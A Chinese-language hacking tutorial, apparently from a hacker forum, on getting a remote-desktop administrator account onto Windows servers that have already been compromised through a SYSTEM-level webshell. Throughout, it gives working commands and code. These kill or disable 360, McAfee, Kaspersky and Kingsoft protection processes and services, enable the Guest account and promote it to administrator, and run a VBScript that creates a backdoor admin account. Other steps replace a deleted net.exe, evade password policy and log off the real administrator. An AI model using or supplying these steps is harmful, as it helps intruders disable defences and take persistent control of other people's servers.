目录

windows服务器system权限webshell无法添加3389账户情况总结

很多习科会员在Windows下SYSTEM权限的webshell下添加账户,但却无法成功。SYSTEM权限肯定足够大,却无法成功,原因是什么呢?
提权不可能百分百成功。下面文章进行了多种分析,并附上一些突破绕过方法。

I.杀软篇

360杀毒软件

经常会在国内的一些服务器上遇到360杀毒和防护软件,如果使用webshell进行添加administrators账户时,360会阻止并提示管理员,导致添加失败。
利用360不能完美的支持Server系统的特性可以突破360的安全防护。

阻止Webshell添加账户的主要是360主动防御,只要结束了主动防御360杀毒就是摆设。

发现360无法完美支持Server系统是发现习科php大马被某个服务器管理员举报到360论坛上去了,说360查不出来,希望更新病毒库云云。
结果360工程师看了以后说更新360就能杀到了,网管说更新了以后还是杀不到;
然后工程师又说装什么什么的防护,网管说装了还是杀不到;
然后工程师就缩头乌龟了,可见360在server上面其实并不能完美运行。

先执行tasklist看一下进程列表,使用如下命令把360主动防御结束。

taskkill /im 进程名.exe /f

360相关进程如下:

360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe

这几个灭了,基本上360的阻碍就清除了,就可以添加账户了。

Windows下Apache+PHP的特殊性,导致很多php站的webshell有SYSTEM的权限,所以结束360简直易如反掌。
即使不是SYSTEM,也有办法的,例如ASPX,asp.net有个操纵进程的功能。

<aspx | > protected void kp_Click(object sender, EventArgs e) {

Process[] kp = Process.GetProcesses ();
foreach ( Process kp1 in kp )
if (kp1.ProcessName == ListBox1.SelectedValue.ToString()) 
{
  try
  {
    kp1.Kill();
    Response.Write("<script>alert('Killed');location.href='?'</" + "script>");
    ListBox1.Items.Clear();
  }
  catch (Exception x) 
  {
    Response.Write(x.Message.ToString());
    Response.End();
  }
}

} </aspx> asp.net的kill()函数即使是IIS+ASPX的users用户组依然可以轻松杀死360。

有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,通常是因为管理员登陆以后运行了图形界面没关闭,系统执行taskkill不会成功。 执行query user查看在线用户列表后logoff id把在线管理员的id踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上。

麦咖啡杀毒软件

可以通过Guest账户突破麦咖啡杀毒软件。

启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组。

经过测试,麦咖啡的防护进程很难结束,但是仍然可以绕过防护,cmd命令如下

net user guest /active:yes
#guest用户启用
net user guest silic!&11133
#改guest密码
net localgroup administrators guest /add
#加guest到管理员用户组中

这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。

卡巴斯基杀毒软件

卡巴斯基的防护也是让人头疼的。关于突破卡巴斯基的方法,有很多。

SYSTEM突破卡巴的防御直接添加用户不太容易,但是可以尝试用taskkill & net user 账户 密码 /add命令,同时执行结束进程和添加账户。

此方法尚未实践,但是理论上是可以的,因为卡巴不像麦咖啡,卡巴斯基可以直接被结束掉,但是立即就会重启进程。

金山防护软件

首先说KSafeSvc.exe, 从文件名就知道是金山的程序。

这个进程用taskkill是搞不定的…只要这个防护进程,net user /add的时候,就算net.exe改名了,它也会弹出是否阻止的窗口(可能是它弹的,就算不是它弹的,也要干掉他才能添加)

Windows还有个命令ntsd可以终结掉大部分进程,例如winlogon.exe,svchost.exe

ntsd -c q -p PID

ntsd可以结束KSafeSvc.exe

金山毒霸+金山卫士+瑞星防火墙组合

这个组合其实也很脆弱。

使用cscript执行该vbs脚本

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","silic")
od.SetPassword "silic"
od.SetInfo
Set of=GetObject(os&"/silic",user)
oe.add os&"/silic"

脚本执行成功可添加用户名和密码均为silic的管理员账户

禁用服务法

有时候mysql或者mssql等等提权的时候,会发生杀软无法结束,导致提权失败的情况。
将杀软服务设置为禁用重启服务器,杀毒防护服务就不能运行了。

sc config 服务名 start= disabled
sc config MsMpSvc start= disabled

如果无法结束服务,就直接从注册表删除该服务的启动。

其他杀毒软件或防护软件

很多非主流的防护软件,如护卫盾啊,Safe3防篡改等等,这些软件的突破方法和主流防护软件突破方法大致相同,结束进程,或者不使用添加账户,直接启用现有的Guest来突破监控,不赘述了

II.策略篇

3389端口变更

进行3389添加账户前首先要知道3389到底开启没有。目前添加账户后无法登陆的情况,只遇到过3389端口变更为其他端口的例子,没见过不开启远程桌面的例子。

找出端口方法再简单不过:netstat -an查看所有开启的端口,不过挨个查询可疑的端口太慢。
tasklist /svc查看TermService的服务进程PID,netstat -ano查看pid对应的端口即远程桌面的端口

远程桌面使用svchost.exe进程启用TermService服务开放端口

莫名其妙无法添加账户

有些主机Webshell是System权限,tasklist也看不到任何防护的进程,管理员也没在线,提权程序也添加不了。

有果必有因,这样的情况添加不了,多数是系统有组策略限制,通常限制的是密码最短长度。而这个组策略又多数是麦咖啡等防护软件设置上的。或者干脆就是装机的系统本身就开启了这个设置。

突破方法只要在添加账户时把密码位数设置长一点就ok,原先密码是123456,现在改为1234abcd!@#$就过了
如果还是添加不上,可以尝试用vbs脚本来添加。

管理员限制篇

有些管理员直接把c:\windows\system32\net.exe给删了或替换了,直接net的时候会提示拒绝访问或者不是系统命令等等类似提示。
因为系统的net.exe没了,重新上传一个net.exe就突破了。

注意32位系统和64位系统的程序不兼容的情况。

系统已达最大连接数处理

有时候添加账户成功,但连接的时候提示最大连接数限制。管理员不在线,却占着线不让你上去,等管理员自己上线了可以把黑客的进程删了。

首先query user查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8(超过8说明服务器好久没重启了)
然后logoff ID对应ID的管理员,就可以登陆了。

踢掉管理员命令logoff注意不要把自己logoff了,例如在system权限下的mysql中,只执行logoff不带任何id,就会使用使mysql失去system权限 —_—

补充

暂无